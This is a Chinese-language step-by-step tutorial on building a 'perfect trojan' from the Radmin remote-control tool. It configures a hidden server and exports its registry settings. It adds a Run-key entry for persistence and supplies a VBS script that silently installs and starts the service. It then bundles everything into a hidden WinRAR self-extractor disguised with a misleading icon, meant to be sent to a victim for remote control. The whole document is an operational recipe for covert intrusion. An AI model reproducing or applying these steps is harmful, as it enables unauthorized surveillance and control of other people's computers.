壹、radmin的配置
首先下載並解壓Radmin。解壓後有七個文件，打開“配置r_server”文件；
點選“註冊信息”，把sn文件中的註冊碼復制粘貼到對話框中確定；
點擊“設置密碼”按鈕進入設置密碼窗口，為radmin設置不少於8位的密碼後確定；
點選“設置參數”按鈕進入設置參數窗口，選中“隱藏狀態欄圖標”前的復選框，端口可以改也可以默認，然後確定。
最後點“安裝服務”，確定後退出。好，radmin的配置完畢。
二、導出註冊表信息
因為Radmin工作原理的特殊性，配置信息並非記錄在服務端程序內，而是在相關的註冊表鍵值內，所以我們要導出註冊表中的radmin信息。
打開註冊表編輯器（開始->運行->輸入regedit後回車），依次展開“HKEY_LOCAL_MACHINE\SYSTEM\
Radmin”鍵值項，在“radmin”鍵值項上右擊選擇“導出”，保存為名為r_server.reg的文件。
再依次展開“HKEY_LOCAL_MACHINE\SOFTWAR
E\Microsoft\Windows\CurrentVersion\Run”，在右邊的窗口空白處右鍵單擊，依次選擇“新建”、“字符串值”，為新建的字符串起個名字，比如radmin，再在其上雙擊，在彈出的對話框的“數值數據”處填入“C:\WINDOWS\system32\r_server.exe”（不包括引號）後確定，然後導出radmin項，名稱為qidong.reg 。
到此radmin的前期準備工作就做好了，下面來把它打造成完美木馬。
三、打造完美木馬
打開記事本，輸入以下代碼：
set ws=wscript.createobject("wscript.shell")
ws.run "regedit.exe /s r_server.reg",0
ws.run "regedit.exe /s qidong.reg",0
ws.run "r_server.exe /install /silence",0
ws.run "r_server.exe /start",0
另存為yunxing.vbs。
把radmin32文件夾中的r_server.exe、AdmDll.dll、raddrv.dll三個文件以及r_server.reg、qidong.reg和剛才的yunxing.vbs***六個文件復制到同壹目錄下，然後同時選中它們，用鼠標選中這六個文件，單擊鼠標右鍵，選擇“添加到壓縮文件”（前提是妳安裝了WINRAR）。
在彈出的對話框的“常規”選項卡的“存檔選項”框中選中“創建自釋放格式檔案文件（X）”前的復選框，然後切換到“高級”選項卡，點選“SFX選項（X）”進入高級自釋放選項設置：在這裏的“常規”選項卡中的釋放路徑壹欄處填入“C:\WINDOWS\system32”（不包括引號），在“釋放後運行”裏填入yunxing.vbs（註意填寫文件擴展名）。再切換到“模式”選項卡，緘默模式設置成“全部隱藏”，覆蓋方式設置成“覆蓋所有文件”。切換到“文字和圖標”選項卡，在“自定義SFX”框中點“瀏覽”選擇壹個迷惑性的圖標。最後連續點擊兩次“確定”完成收尾工作。好，完美的木馬已經打造完成，把這個木馬傳給妳要控制的人，妳就可以玩遠程控制了。
四、radmin的使用
這裏簡單的說壹下radmin的使用方法：打開Radmin.exe，選擇“連接選項”->“連接到……”，在“連接類型”中選擇妳想要的功能，在“所連接的IP地址或DNS”中輸入服務端的IP地址，然後點擊“確定”，在彈出的對話框中輸入妳原先設置的密碼，確定後就連接成功了。
註：本文以radmin（影子漢化版）為例。